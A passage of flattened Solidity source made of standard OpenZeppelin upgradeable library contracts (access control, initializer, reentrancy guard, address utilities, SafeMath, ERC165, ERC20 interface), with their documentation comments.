return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
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|
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol)
pragma solidity ^0.8.0;
import "../IERC721ReceiverUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721HolderUpgradeable is Initializable, IERC721ReceiverUpgradeable {
function __ERC721Holder_init() internal onlyInitializing {
}
function __ERC721Holder_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
